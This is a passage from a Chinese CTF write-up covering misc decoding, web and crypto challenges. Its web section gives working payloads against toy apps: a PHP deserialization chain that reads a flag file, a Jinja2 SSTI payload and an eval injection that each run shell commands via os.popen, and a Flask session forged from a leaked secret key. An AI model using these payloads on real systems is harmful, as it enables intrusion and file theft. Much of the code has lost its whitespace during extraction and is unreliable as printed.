到城市在分崩离析?你是否想过......朋友不再是朋友,家园不再是家园。你不曾注意阴谋得逞者在狞笑。你有没有感受到城市在分崩离析?你有没有感受到城市在分崩离析?你不曾注意阴谋得逞者在狞笑。你不曾注意阴谋得逞者在狞笑。你有没有感受到城市在分崩离析?你有没有感受到城市在分崩离析?你不曾注意阴谋得逞者在狞笑。你有没有听见孩子们的悲鸣?你不曾注意阴谋得逞者在狞笑。你有没有感受到城市在分崩离析?你是否想过......朋友不再是朋友,家园不再是家园。你有没有感受到城市在分崩离析?你有没有感受到城市在分崩离析?你有没有感受到城市在分崩离析?你是否想过......朋友不再是朋友,家园不再是家园。你不曾注意阴谋得逞者在狞笑。你不曾注意阴谋得逞者在狞笑。你有没有感受到城市在分崩离析?你不曾注意阴谋得逞者在狞笑。你有没有听见孩子们的悲鸣?你有没有感受到城市在分崩离析?你有没有感受到城市在分崩离析?你不曾注意阴谋得逞者在狞笑。你不曾注意阴谋得逞者在狞笑。你有没有感受到城市在分崩离析?你有没有感受到城市在分崩离析?你是否想过......朋友不再是朋友,家园不再是家园。你不曾注意阴谋得逞者在狞笑。你有没有感受到城市在分崩离析?你有没有感受到城市在分崩离析?你不曾注意阴谋得逞者在狞笑。你不曾注意阴谋得逞者在狞笑。你有没有感受到城市在分崩离析?你有没有感受到城市在分崩离析?你有没有感受到城市在分崩离析?你是否想过......朋友不再是朋友,家园不再是家园。你是否想过......朋友不再是朋友,家园不再是家园。你有没有感受到城市在分崩离析?你是否想过......朋友不再是朋友,家园不再是家园。你不曾注意阴谋得逞者在狞笑。你不曾注意阴谋得逞者在狞笑。你有没有感受到城市在分崩离析?你不曾注意阴谋得逞者在狞笑。你有没有听见孩子们的悲鸣?你有没有感受到城市在分崩离析?你有没有感受到城市在分崩离析?你不曾注意阴谋得逞者在狞笑。你不曾注意阴谋得逞者在狞笑。你有没有感受到城市在分崩离析?你有没有感受到城市在分崩离析?你不曾注意阴谋得逞者在狞笑。你不曾注意阴谋得逞者在狞笑。你是否想过......朋友不再是朋友,家园不再是家园。你有没有感受到城市在分崩离析?你不曾注意阴谋得逞者在狞笑。你有没有感受到城市在分崩离析?你有没有感受到城市在分崩离析?你有没有感受到城市在分崩离析?你不曾注意阴谋得逞者在狞笑。你是否想过......朋友不再是朋友,家园不再是家园。你有没有听见孩子们的悲鸣?你有没有感受到城市在分崩离析?你不曾注意阴谋得逞者在狞笑。你不曾注意阴谋得逞者在狞笑。你有没有感受到城市在分崩离析?你有没有感受到城市在分崩离析?你不曾注意阴谋得逞者在狞笑。你有没有听见孩子们的悲鸣?你有没有感受到城市在分崩离析?你有没有感受到城市在分崩离析?你不曾注意阴谋得逞者在狞笑。你是否想过......朋友不再是朋友,家园不再是家园。你不曾注意阴谋得逞者在狞笑。你有没有感受到城市在分崩离析?你是否想过......朋友不再是朋友,家园不再是家园。你不曾注意阴谋得逞者在狞笑。你有没有感受到城市在分崩离析?你有没有感受到城市在分崩离析?你不曾注意阴谋得逞者在狞笑。你不曾注意阴谋得逞者在狞笑。你有没有感受到城市在分崩离析?你有没有感受到城市在分崩离析?你不曾注意阴谋得逞者在狞笑。你是否想过......朋友不再是朋友,家园不再是家园。你有没有听见孩子们的悲鸣?你有没有感受到城市在分崩离析?你不曾注意阴谋得逞者在狞笑。你不曾注意阴谋得逞者在狞笑。你有没有感受到城市在分崩离析?你有没有感受到城市在分崩离析?你不曾注意阴谋得逞者在狞笑。你有没有听见孩子们的悲鸣?你有没有感受到城市在分崩离析?你有没有感受到城市在分崩离析?你不曾注意阴谋得逞者在狞笑。你是否想过......朋友不再是朋友,家园不再是家园。你不曾注意阴谋得逞者在狞笑。你有没有感受到城市在分崩离析?你不曾注意阴谋得逞者在狞笑。你有没有听见孩子们的悲鸣?你不曾注意阴谋得逞者在狞笑。你有没有感受到城市在分崩离析?你不曾注意阴谋得逞者在狞笑。你有没有听见孩子们的悲鸣?你有没有感受到城市在分崩离析?你有没有感受到城市在分崩离析?你是否想过......朋友不再是朋友,家园不再是家园。你是否想过......朋友不再是朋友,家园不再是家园。你有没有感受到城市在分崩离析?您让我看到了废墟中挣扎着抬起头的青草。谢谢您。"
x = x.split('。')
x =[i.split('?')for i in x]
s =[]for i in x:for j in i:
        s.append(j)
s.remove('')
t =list(set(s))for i in t:print(i, s.count(i))

5

四句话重复出现,所以猜测可能搞了个四进制,然后爆爆爆

import itertools

from Crypto.Util.number import*

x ="我必须站在这里。你有没有感受到城市在分崩离析?你不曾注意阴谋得逞者在狞笑。你有没有听见孩子们的悲鸣?你是否想过......朋友不再是朋友,家园不再是家园。你有没有感受到城市在分崩离析?你是否想过......朋友不再是朋友,家园不再是家园。你有没有感受到城市在分崩离析?你有没有听见孩子们的悲鸣?你有没有感受到城市在分崩离析?你不曾注意阴谋得逞者在狞笑。你有没有感受到城市在分崩离析?你不曾注意阴谋得逞者在狞笑。你有没有感受到城市在分崩离析?你是否想过......朋友不再是朋友,家园不再是家园。你有没有听见孩子们的悲鸣?你是否想过......朋友不再是朋友,家园不再是家园。你有没有感受到城市在分崩离析?你不曾注意阴谋得逞者在狞笑。你不曾注意阴谋得逞者在狞笑。你有没有听见孩子们的悲鸣?你有没有感受到城市在分崩离析?你不曾注意阴谋得逞者在狞笑。你是否想过......朋友不再是朋友,家园不再是家园。你是否想过......朋友不再是朋友,家园不再是家园。你有没有感受到城市在分崩离析?你是否想过......朋友不再是朋友,家园不再是家园。你有没有感受到城市在分崩离析?你是否想过......朋友不再是朋友,家园不再是家园。你有没有感受到城市在分崩离析?你是否想过......朋友不再是朋友,家园不再是家园。你不曾注意阴谋得逞者在狞笑。你是否想过......朋友不再是朋友,家园不再是家园。你有没有感受到城市在分崩离析?你是否想过......朋友不再是朋友,家园不再是家园。你不曾注意阴谋得逞者在狞笑。你有没有听见孩子们的悲鸣?你有没有感受到城市在分崩离析?你不曾注意阴谋得逞者在狞笑。你不曾注意阴谋得逞者在狞笑。你有没有感受到城市在分崩离析?你有没有感受到城市在分崩离析?你不曾注意阴谋得逞者在狞笑。你是否想过......朋友不再是朋友,家园不再是家园。你不曾注意阴谋得逞者在狞笑。你有没有感受到城市在分崩离析?你不曾注意阴谋得逞者在狞笑。你有没有感受到城市在分崩离析?你是否想过......朋友不再是朋友,家园不再是家园。你有没有感受到城市在分崩离析?你不曾注意阴谋得逞者在狞笑。你有没有听见孩子们的悲鸣?你不曾注意阴谋得逞者在狞笑。你有没有感受到城市在分崩离析?你是否想过......朋友不再是朋友,家园不再是家园。你有没有感受到城市在分崩离析?你有没有感受到城市在分崩离析?你有没有感受到城市在分崩离析?你不曾注意阴谋得逞者在狞笑。你有没有听见孩子们的悲鸣?你是否想过......朋友不再是朋友,家园不再是家园。你有没有感受到城市在分崩离析?你不曾注意阴谋得逞者在狞笑。你有没有感受到城市在分崩离析?你有没有感受到城市在分崩离析?你有没有感受到城市在分崩离析?你不曾注意阴谋得逞者在狞笑。你是否想过......朋友不再是朋友,家园不再是家园。你不曾注意阴谋得逞者在狞笑。你有没有感受到城市在分崩离析?你不曾注意阴谋得逞者在狞笑。你有没有感受到城市在分崩离析?你是否想过......朋友不再是朋友,家园不再是家园。你有没有感受到城市在分崩离析?你是否想过......朋友不再是朋友,家园不再是家园。你不曾注意阴谋得逞者在狞笑。你有没有听见孩子们的悲鸣?你有没有感受到城市在分崩离析?你不曾注意阴谋得逞者在狞笑。你不曾注意阴谋得逞者在狞笑。你有没有感受到城市在分崩离析?你有没有感受到城市在分崩离析?你不曾注意阴谋得逞者在狞笑。你是否想过......朋友不再是朋友,家园不再是家园。你不曾注意阴谋得逞者在狞笑。你有没有感受到城市在分崩离析?你不曾注意阴谋得逞者在狞笑。你有没有感受到城市在分崩离析?你是否想过......朋友不再是朋友,家园不再是家园。你有没有感受到城市在分崩离析?你有没有感受到城市在分崩离析?你是否想过......朋友不再是朋友,家园不再是家园。你是否想过......朋友不再是朋友,家园不再是家园。你有没有感受到城市在分崩离析?你是否想过......朋友不再是朋友,家园不再是家园。你不曾注意阴谋得逞者在狞笑。你有没有感受到城市在分崩离析?你有没有感受到城市在分崩离析?你不曾注意阴谋得逞者在狞笑。你不曾注意阴谋得逞者在狞笑。你有没有感受到城市在分崩离析?你有没有感受到城市在分崩离析?你不曾注意阴谋得逞者在狞笑。你有没有听见孩子们的悲鸣?你不曾注意阴谋得逞者在狞笑。你有没有感受到城市在分崩离析?你是否想过......朋友不再是朋友,家园不再是家园。你有没有感受到城市在分崩离析?你有没有感受到城市在分崩离析?你有没有感受到城市在分崩离析?你是否想过......朋友不再是朋友,家园不再是家园。你不曾注意阴谋得逞者在狞笑。你不曾注意阴谋得逞者在狞笑。你有没有感受到城市在分崩离析?你不曾注意阴谋得逞者在狞笑。你有没有听见孩子们的悲鸣?你有没有感受到城市在分崩离析?你有没有感受到城市在分崩离析?你不曾注意阴谋得逞者在狞笑。你不曾注意阴谋得逞者在狞笑。你有没有感受到城市在分崩离析?你有没有感受到城市在分崩离析?你是否想过......朋友不再是朋友,家园不再是家园。你不曾注意阴谋得逞者在狞笑。你有没有感受到城市在分崩离析?你有没有感受到城市在分崩离析?你不曾注意阴谋得逞者在狞笑。你不曾注意阴谋得逞者在狞笑。你有没有感受到城市在分崩离析?你有没有感受到城市在分崩离析?你有没有感受到城市在分崩离析?你是否想过......朋友不再是朋友,家园不再是家园。你是否想过......朋友不再是朋友,家园不再是家园。你有没有感受到城市在分崩离析?你是否想过......朋友不再是朋友,家园不再是家园。你不曾注意阴谋得逞者在狞笑。你不曾注意阴谋得逞者在狞笑。你有没有感受到城市在分崩离析?你不曾注意阴谋得逞者在狞笑。你有没有听见孩子们的悲鸣?你有没有感受到城市在分崩离析?你有没有感受到城市在分崩离析?你不曾注意阴谋得逞者在狞笑。你不曾注意阴谋得逞者在狞笑。你有没有感受到城市在分崩离析?你有没有感受到城市在分崩离析?你不曾注意阴谋得逞者在狞笑。你不曾注意阴谋得逞者在狞笑。你是否想过......朋友不再是朋友,家园不再是家园。你有没有感受到城市在分崩离析?你不曾注意阴谋得逞者在狞笑。你有没有感受到城市在分崩离析?你有没有感受到城市在分崩离析?你有没有感受到城市在分崩离析?你不曾注意阴谋得逞者在狞笑。你是否想过......朋友不再是朋友,家园不再是家园。你有没有听见孩子们的悲鸣?你有没有感受到城市在分崩离析?你不曾注意阴谋得逞者在狞笑。你不曾注意阴谋得逞者在狞笑。你有没有感受到城市在分崩离析?你有没有感受到城市在分崩离析?你不曾注意阴谋得逞者在狞笑。你有没有听见孩子们的悲鸣?你有没有感受到城市在分崩离析?你有没有感受到城市在分崩离析?你不曾注意阴谋得逞者在狞笑。你是否想过......朋友不再是朋友,家园不再是家园。你不曾注意阴谋得逞者在狞笑。你有没有感受到城市在分崩离析?你是否想过......朋友不再是朋友,家园不再是家园。你不曾注意阴谋得逞者在狞笑。你有没有感受到城市在分崩离析?你有没有感受到城市在分崩离析?你不曾注意阴谋得逞者在狞笑。你不曾注意阴谋得逞者在狞笑。你有没有感受到城市在分崩离析?你有没有感受到城市在分崩离析?你不曾注意阴谋得逞者在狞笑。你是否想过......朋友不再是朋友,家园不再是家园。你有没有听见孩子们的悲鸣?你有没有感受到城市在分崩离析?你不曾注意阴谋得逞者在狞笑。你不曾注意阴谋得逞者在狞笑。你有没有感受到城市在分崩离析?你有没有感受到城市在分崩离析?你不曾注意阴谋得逞者在狞笑。你有没有听见孩子们的悲鸣?你有没有感受到城市在分崩离析?你有没有感受到城市在分崩离析?你不曾注意阴谋得逞者在狞笑。你是否想过......朋友不再是朋友,家园不再是家园。你不曾注意阴谋得逞者在狞笑。你有没有感受到城市在分崩离析?你不曾注意阴谋得逞者在狞笑。你有没有听见孩子们的悲鸣?你不曾注意阴谋得逞者在狞笑。你有没有感受到城市在分崩离析?你不曾注意阴谋得逞者在狞笑。你有没有听见孩子们的悲鸣?你有没有感受到城市在分崩离析?你有没有感受到城市在分崩离析?你是否想过......朋友不再是朋友,家园不再是家园。你是否想过......朋友不再是朋友,家园不再是家园。你有没有感受到城市在分崩离析?您让我看到了废墟中挣扎着抬起头的青草。谢谢您。"
x = x.split('。')
x =[i.split('?')for i in x]
s =[]for i in x:for j in i:
        s.append(j)
s.remove('')
t =['你有没有听见孩子们的悲鸣','你是否想过......朋友不再是朋友,家园不再是家园','你有没有感受到城市在分崩离析','你不曾注意阴谋得逞者在狞笑']for k in itertools.permutations('0123'):
    m =''for i in s:if i == t[0]:
            m += k[0]elif i == t[1]:
            m += k[1]elif i == t[2]:
            m += k[2]elif i == t[3]:
            m += k[3]
    m = long_to_bytes(int(m,4))ifb'ctfshow'in m:print(m)# b'ctfshow{xingbucengxing_yibuzaiyi_zaikelianyilianba}'

ctfshow{xingbucengxing_yibuzaiyi_zaikelianyilianba}

低端的base64

发现大部分文本每隔四个就是5,而中文字符经过unicode编码,经过十六进制和二进制的表达,最后映射在base64中的字符大部分是5;还发现居然没有大写字母,所以猜测这段文本被lower()了,所以开始了爆破,再base64解码后找有意义的文本

# 丑陋的代码import base64

x ='5li65lqg6ziy5q2i5asn5a625oml5yqo5pon5l2c5oir5bey57up5oqk5byx6i6x6zibkgzsywcp6jep5zyo6l+z5q616k+d55qe5p+q5liq5zyw5pa55lqg77ym5l2g5lus5lin5lia5a6a5om+5b6x5yiw5zof77ym5zi75zi75zi744cc5awx56we5p2l5pwy5l2g5a626zeo77ym5bim552a56ev57sv5zkm54m55b6b77ym5z2m55m95luo5a695oqx5ous5luo5lil77ym5lin5zcs6k+d57uz5l2g5omt5lia6zki44cckgzsywcp5zyo5zoq6yem5zgakgzsywcp5zyo5zoq6yem77ymkgzsywcp5zyo6ykj5bcp5pyl5y+l55qe55y8552b6yem44cc5asp5a+55zyw77ym6zuo5a+56aoo44cc5asn6zmg5a+56zw/56m644cc5bgx6iqx5a+55rw35qcr77ym6lwk5pel5a+56iun56m544cc6zu36zqq6zqq77ym6zu+6jkz6jkz44cc5bya5bic5asn5zcj5lih5lql5lqo6yca44cc5bmz5lue5bmz5lue5bmz5bmz5lue77ym5lue5bmz5lue5bmz5lue5lue5bmz77ym5lue5lue5bmz44cc5lyx5oma5zgo55+l77ymj2n0znnob3cn55qekgzsywcp5yw35ash5lul5lil5yeg5liq54m554k577ym5lia5piv5lulj2n0znnob3cn5bya5as077ym5zco6z2i6lef552a6iqx5ous5y+35zkm5yeg5liq5awh5ocq55qe5lic6kw/77ym6ykj5liq5lic6kw/5y+r5ygaj3v1awqn77ym5li65lua5lmi5ymn6z2i6kab6k+06l+z5lmi5asa5bqf6k+d5zgi5piv5zug5li65lih5lia5lin6k+05bqf6k+d6l+z5liq6aky5bcx5asq5aw95yga5lqg6l+z5oco5lmi5y+v5lul5zgi77ym5lih5lia5pyj5lq65oqk6l+z5liq5lic6kw/5ps+5zyoy3lizxjjagvm6yem5lia5oqk5qkt5l2g5piv5qkt5lin5ye65p2l77ym54s25zco5yan57uz5oir6l+z5lmi5lia5liq6iux5pah5a2x5q+n5lia5liq6iux5pah5a2x5q+n55qe5ps55asn5bcp5yaz77ym6l+z5oco5lmi6io96kgm5zgi77ym6l+z6ikv5a6a5piv5lin6kgm55qe5a+55lin5a+5iwn0znnob3d7ymfzzty0xzfz5asq6zq+5lqgisfj5pyn5lqgvsf95oma5lul5oir6l+z5zue5zc45y+w5pwz6k6t77ym5zyo5ymn5zco6yo95yqg5lqg5lia54k554k55lic5lic77ym6l+z5qc35bcx5lin6io95pyj5bii5ykf5oml5yqo5p2l5ps55lqg5a+55lin5a+55zga44cc5oir5y+j6kkl6yem5pyj5lia5liq5bcp6k6+5ash77ym5y+v5lul6k6/6zeu5yeg5lmo5ywo6yoo55qe5lq657g755+l6k+g44cc5oir5y2055so5a6d5lio5lin6k6k6k+g55qe5lq66l+b6kgm5q+r5peg5osp5lmj55qe5lqj6k6677ym5bm255yl5o6i5aes55qe54wn54mh44cc5b2x5zon57yw56il5pwi546h5pya5asn55qe5zug57sg77ym5lin5piv5l2/55so5l2v56en57yw56il6k+t6kia77ym6icm5piv5pio5pma5l2g55qe552h55yg5piv5zcm5ywf6laz44ccssb3b3jrighhcmqgzxzlcnlkyxkgc28gdghhdcbhbgwgd2hvigxvdmugbwugd2lsbcbizsbwcm91zcbvzibtzseh6z2i5zcr5a+56lgh57yw56il55qe6zeu6aky5piv77ym6buy6k6k5bim5pyj546v5akd44cc5l2g5y+q5ooz6kab5lia5liq6aaz6jwj77ym5l2g5piv5b6x5yiw5lqg5lia5y+q5ou/552a6aaz6jwj55qe5asn54yp54yp77ym55sa6iez6l+y5pyj5pw05liq5lib5p6x44cc5l2g5lin5piv6k6o5y6mj0phdmen77ym5l2g5y+q5piv6k6o5y6m5bel5l2c44cc6icm5bcx5zyo5q2k5pe25oir5bey57up5ooz5lin5ye66aqa6k+d5lqg6l+z5y+v5oco5lmi5yqe5zga77ym5oma5lul5oir5om+576k5y+l5b6b6zug5lqg5lia5lqb6aqa6k+d6l+z5qc35oir5bcx5lin55so57un57ut56cb5a2x5lqg44cctmlnahqgaxmgbmv2zxigzgfyay5jbib0agugbmlnahqsqwxiaxp6awegaxmgc3rpbgwgcmvkllrozsbqbhvzacbxaxn0zxjpysbpcybzdglsbcbwdxjwbgutd2hpdguusxqgagfzig5vdghpbmcgdg8gzg8gd2l0acbuawdodcbvcibkyxkutglrzsxjig1pc3mgew91lel0ighhcybub3roaw5nihrvigrvihdpdgggc3vuc2hpbmugb3igcmfpbi5jdcbkb2vzbid0igv2zw4gbwf0dgvyiglmihlvdsbrbm93ig9yigrvbid0igtub3cuqwx0ag91z2ggssb3awxsihryesb0bybszxqgew91igtub3csvghpbmsgb2ygaxquu28gssbyzwpvawnlzc4g6bur5asc5yw25a6e5luo5p2l5bcx5lin5piv6bur55qe77ym6bur5asc6yem77ym5zci5qyi6iqx6l+y5piv57qi55qe44cc5q+b57us57us55qe57sr6jek6iqx6l+y5piv57sr55m96imy55qe77ym5zkm6bur5asc6l+y5piv55m95asp5rkh5pyj5ywz57o744cc5bcx5yop77ym5oir5ooz5l2g77ym5zkm6bur5asc6l+y5piv55m95asp5rkh5pyj5ywz57o777ym5zkm5pm05asp5zkm5lil6zuo5rkh5pyj5ywz57o777ym55sa6iez5zkm5l2g55+l6ygt5lin55+l6ygt6yo95rkh5pyj5ywz57o777ym5bc9566h5oir6l+y5piv5lya5bc96yep6k6p5l2g55+l6ygt77ym5ooz5yiw6l+z6yem77ym5lqo5piv5qyi5zac44cc'
x =[x[i:i +4]for i inrange(0,len(x),4)]
y =[]for i in x:
    s =[]for j in i:if j.isdigit():
            s.append(j)else:
            s.append([j, j.upper()])
    y.append(s)for i in y:
    res =''print()for a in i[0]:for b in i[1]:for c in i[2]:for d in i[3]:try:print(base64.b64decode((a + b + c + d).encode()).decode(), end=', ')except:pass

部分文本

对, 对, 
#t, !ct, 
fsh, fsN, 
ow{, w{, 
bas, baY, 
fܴ, e64, 
ős, őY, _1s, _1Y, 
太, 夐, 
难, 难, 
亠, 了, 
!!c, !!I, 
朧, 服, 
亠, 了, 
U!}, 
扚, 所, 
以, 介, 

最后拼拼凑凑拿到flag

ctfshow{base64_1s太难了!!I服了U!}

WEB

easy_signin

文件包含

http://*.challenge.ctf.show/?img=ZmFjZS5wbmc=)

base64b编码找index.php页面

6

base64解码拿flag

7

被遗忘的反序列化

原生类的利用

源码给出很多类,直接发现gBoBg的__toString是最好利用的,直接利用原生类查找文件并读取就好了,这里没有限制可以直接找到根目录下的flag,然后读取就可以了

poc:

<?phpclassgBoBg{public$name;public$file;public$coos;publicfunction__construct(){$this->name=1;$this->coos='SplFileObject';$this->file='/f1agaaa';}publicfunction__toString(){if(isset($this->name)){echo1;$a=new$this->coos($this->file);echo$a;}elseif(!isset($this->file)){return$this->coos->name;}else{$aa=$this->coos;$bb=$this->file;return$aa();}}}classw_wuw_w{public$aaa;public$key;public$file;publicfunction__construct(){$this->file="";$this->aaa=newgBoBg();}publicfunction__wakeup(){if(!preg_match("/php|63|\*|\?/i",$this->key)){$this->key=file_get_contents($this->file);}else{echo"不行哦";}}publicfunction__destruct(){echo$this->aaa;}publicfunction__invoke(){$this->aaa=clonenewEeE;}}// $_ip = $_SERVER["HTTP_AAAAAA"];// unserialize($_ip);$a=neww_wuw_w();echo(serialize($a));unserialize(serialize($a));// $p = 'O%3A7%3A%22w_wuw_w%22%3A3%3A%7Bs%3A3%3A%22aaa%22%3BO%3A5%3A%22gBoBg%22%3A4%3A%7Bs%3A4%3A%22name%22%3Bi%3A1%3Bs%3A4%3A%22file%22%3Bs%3A3%3A%22%2Ff%2A%22%3Bs%3A4%3A%22coos%22%3Bs%3A17%3A%22DirectoryIterator%22%3Bs%3A11%3A%22%00gBoBg%00eeee%22%3Bs%3A3%3A%22-_-%22%3B%7Ds%3A3%3A%22key%22%3BN%3Bs%3A4%3A%22file%22%3Bs%3A0%3A%22%22%3B%7D';// unserialize(urldecode($p));

payload:

O:7:"w_wuw_w":3:{s:3:"aaa";O:5:"gBoBg":3:{s:4:"name";i:1;s:4:"file";s:8:"/f1agaaa";s:4:"coos";s:13:"SplFileObject";}s:3:"key";N;s:4:"file";s:0:"";}

8

easy_ssti

源码:

from flask import Flask
from flask import render_template_string,render_template
app = Flask(__name__)@app.route('/hello/')defhello(name=None):return render_template('hello.html',name=name)@app.route('/hello/<name>')defhellodear(name):if"ge"in name:return render_template_string('hello %s'% name)elif"f"notin name:return render_template_string('hello %s'% name)else:return'Nonononon'

只要实现“ge”在payload或者payload里面没有f就行,hackbar选一个打就完事了

payload:

{{g.pop.__globals__.__builtins__['__import__']('os').popen('cd ..;cat *l*').read()}}

9

easy_flask

注册登录拿源码app.py

# app.pyfrom flask import Flask, render_template, request, redirect, url_for, session, send_file, Response

app = Flask(__name__)

app.secret_key ='S3cr3tK3y'

users ={'admin':{'password':'LKHSADSFHLA;KHLK;FSDHLK;ASFD','role':'admin'}}@app.route('/')defindex():# Check if user is loggedinif'loggedin'in session:return redirect(url_for('profile'))return redirect(url_for('login'))@app.route('/login/', methods=['GET','POST'])deflogin():
    msg =''if request.method =='POST'and'username'in request.form and'password'in request.form:
        username = request.form['username']
        password = request.form['password']if username in users and password == users[username]['password']:
            session['loggedin']=True
            session['username']= username
            session['role']= users[username]['role']return redirect(url_for('profile'))else:
            msg ='Incorrect username/password!'return render_template('login2.html', msg=msg)@app.route('/register/', methods=['GET','POST'])defregister():
    msg =''if request.method =='POST'and'username'in request.form and'password'in request.form:
        username = request.form['username']
        password = request.form['password']if username in users:
            msg ='Account already exists!'else:
            users[username]={'password': password,'role':'user'}
            msg ='You have successfully registered!'return render_template('register2.html', msg=msg)@app.route('/profile/')defprofile():if'loggedin'in session:return render_template('profile2.html', username=session['username'], role=session['role'])return redirect(url_for('login'))@app.route('/show/')defshow():if'loggedin'in session:return render_template('show2.html')@app.route('/download/')defdownload():if'loggedin'in session:
        filename = request.args.get('filename')if'filename'in request.args:return send_file(filename, as_attachment=True)return redirect(url_for('login'))@app.route('/hello/')defhello_world():try:
        s = request.args.get('eval')returnf"hello,{eval(s)}"except Exception as e:print(e)passreturn"hello"@app.route('/logout/')deflogout():
   session.pop('loggedin',None)
   session.pop('id',None)
   session.pop('username',None)
   session.pop('role',None)return redirect(url_for('login'))if __name__ =="__main__":
    app.run(host='0.0.0.0', port=8080)

秘钥泄露了出来,flask session伪造role为admin

11

.eJyrVsrJT09PTcnMU7Iy1FEqys9JVbJSSkzJBQroKJUWpxblJeYihGoBhUwP8Q.ZCpWkw.ZarSk9Q-vch3R8_SvIL2klcfPls

12

/hello路由下可以直接命令执行:

/hello?eval=__import__('os').popen('cat /f*').read()

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-RRQQxvT1-1680505217693)(./assets/image-20230403123936902.png)]

CRYPTO

easy_base

密文如下:

4C455A5645334C44474A55484D5A42544F5132574956525A50464E464F4E4C474D4656454D334359474A554751564B4949493255535532464E42544643504A35

CyberChef一把🔒(无敌的magic)

41

ctfshow{yu_ren_j1e_haPpy!!!}

大牛的密码

    e
   
   
    n
   
   
    c
   
   
    r
   
   
    y
   
   
    p
   
   
    t
   
   
    1
   
   
    (
   
   
    )
   
  
  
   encrypt1()
  
 
encrypt1()函数就是交换位子,换来换去又换回来了,所以没啥影响


 
  
   
    e
   
   
    n
   
   
    c
   
   
    r
   
   
    y
   
   
    p
   
   
    t
   
   
    2
   
   
    (
   
   
    )
   
  
  
   encrypt2()
  
 
encrypt2()函数也是换位子,根据

 
  
   
    S
   
   
    _
   
   
    B
   
   
    O
   
   
    X
   
  
  
   S\_BOX
  
 
S_BOX中的元素进行重新排序,逆一下子就好了
S_BOX =[9,31,32,38,20,1,22,4,8,2,11,21,7,18,46,23,34,3,19,12,45,30,27,37,5,47,28,36,0,43,39,10,29,14,40,24,33,16,17,6,42,15,26,41,44,25,35,13]
c =[99,111,102,11,107,49,11,53,121,48,114,117,11,95,112,95,109,115,11,95,101,95,119,117,79,123,111,48,110,95,121,116,121,125,116,11,119,11,97,67,11,11,11,11,11,99,110,104]for k inrange(16):
    tmp, c = c,[]for i inrange(len(S_BOX)):
         c.append(tmp[S_BOX.index(i)])print(''.join([chr(i)for i in c]))# ctfshow{y0u_c5n_make_y0u1_own_CryptO}

ctfshow{y0u_c5n_make_y0u1_own_CryptO}

Comedy

     a
    
    
     s
    
    
     s
    
    
     e
    
    
     r
    
    
     t
    
    
      
    
    
     m
    
    
     .
    
    
     b
    
    
     i
    
    
     t
    
    
     _
    
    
     l
    
    
     e
    
    
     n
    
    
     g
    
    
     t
    
    
     h
    
    
     (
    
    
     )
    
    
     <
    
    
     200
    
    
    
     A
    
    
     =
    
    
     (
    
    
     2022
    
    
     −
    
    
     2023
    
    
     ∗
    
    
     m
    
    
     )
    
    
     %
    
    
     B
    
    
    
     l
    
    
     e
    
    
     a
    
    
     k
    
    
     =
    
    
     p
    
    
     o
    
    
     w
    
    
     (
    
    
     2
    
    
     ,
    
    
     2023
    
    
     ,
    
    
     B
    
    
     )
    
   
   
     assert\ m.bit\_length() < 200\\ A = (2022 - 2023 * m) \% B \\ leak = pow(2, 2023, B) 
   
  
 assert m.bit_length()<200A=(2022−2023∗m)%Bleak=pow(2,2023,B)


 
  
   
    m
   
  
  
   m
  
 
m是小于200比特的,而

 
  
   
    B
   
  
  
   B
  
 
B是

 
  
   
    1334
   
   
    +
   
  
  
   1334+
  
 
1334+的,200比特不值一提,所以有

 
  
   
    B
   
   
    −
   
   
    A
   
   
    =
   
   
    2023
   
   
    ∗
   
   
    m
   
   
    −
   
   
    2022
   
  
  
   B-A=2023*m-2022
  
 
B−A=2023∗m−2022,

 
  
   
    A
   
  
  
   A
  
 
A和

 
  
   
    B
   
  
  
   B
  
 
B很接近

    l
   
   
    e
   
   
    a
   
   
    k
   
   
    +
   
   
    k
   
   
    ∗
   
   
    B
   
   
    =
   
   
    
     2
    
    
     2023
    
   
  
  
   leak+k*B = 2^{2023}
  
 
leak+k∗B=22023, 所以

 
  
   
    k
   
   
    =
   
   
    
     
      
       2
      
      
       2023
      
     
     
      −
     
     
      l
     
     
      e
     
     
      a
     
     
      k
     
    
    
     B
    
   
   
    =
   
   
    
     
      
       2
      
      
       2023
      
     
     
      −
     
     
      l
     
     
      e
     
     
      a
     
     
      k
     
    
    
     A
    
   
  
  
   k = \frac {2^{2023}-leak}{B}= \frac{2^{2023}-leak}{A}
  
 
k=B22023−leak​=A22023−leak​,有了

 
  
   
    k
   
  
  
   k
  
 
k就能求

 
  
   
    B
   
  
  
   B
  
 
B了,然后就简简单单
from Crypto.Util.number import*

A =493275281479560936332761096886786925792234184811353209227551802099268192839677496844153534128991899414803550843408607188612593757622064753867565869035222715177143938385039508273050267347710495512806264863554858016145161165422812554800693811328453743229819656381224407015421235005940088439590887928051969351426291843586132741521121351667152673680122929827805479163871436776753859965413192837591532468372
leak =238829196127128263156194898141748280130190920343265228257398802867203846004703877952990524473329125233083096275276064071930416561616135910190674099345267027039386328203653489152769309498199556401574021633071022874689081585677578010276529507102304828451681000682208089162940529052283763507244593173690786957816545746540436261888398732172965945762569416702401859253725696471593023885944262561159982327952
kb0 =2**2023- leak
B = kb0 //(kb0 // A)
m =(B - A +2022)//2023print(long_to_bytes(m)+ long_to_bytes(B))# b'ctfshow{UNKNOWN_MODULUS_T0_BR1NG_L3UGHTER_AND_J@Y_TO_TH3_W0RLD}\x0c]\xee)\xa5\xb7(\xe1\x9a\xc5\x0c\xf6\x1d\xcbH\xcbz\xf9\x9b\xa8y\x9e\xc0\xd8\x82\xe5\xf5\xb2\x9b\xccQ*\x1b\x04\x8c\xcf\xb4\xb1\x1bT\xfa\x07\xee\xe5\x8bv\xdf\xe0B\xfb\x8e{\x0e\x98t\xda\xfa7\xbaeK\x03\xd9\xe1\xdf\xa7")\x8e\xf0g\xcc\xe8\x01\xe5\xb8\x9c\xeflD\x06\xfc\xab"\x8eq\x7f\x944\xfa\xdeO7\xec\x9d\xcf_\xd3\x17\xffh\x83k\xe1\x0c\xfd\xf0\xee\xcf\\pu\xe5\xa9x\xcd4#\n]\xf8\x8d\xf0\x13\xa5\\Dg'

ctfshow{UNKNOWN_MODULUS_T0_BR1NG_L3UGHTER_AND_J@Y_TO_TH3_W0RLD}

ecc_mini

第一部分

m1 =int(str(flag)[:5])-4585
E = EllipticCurve(GF(p),[a, b])
X = E.lift_x(m1)
Y =7* X
    m
   
   
    1
   
  
  
   m1
  
 
m1是一个五位数,可以爆破一下子
import tqdm

p =71397796933602469825964946338224836258949974632540581233301840806613437378503
a =106105288190268015217241182934677375171023341761047638573248022053052499733117
b =76170541771321874396004434442157725545076211607587599314450304327736999807927
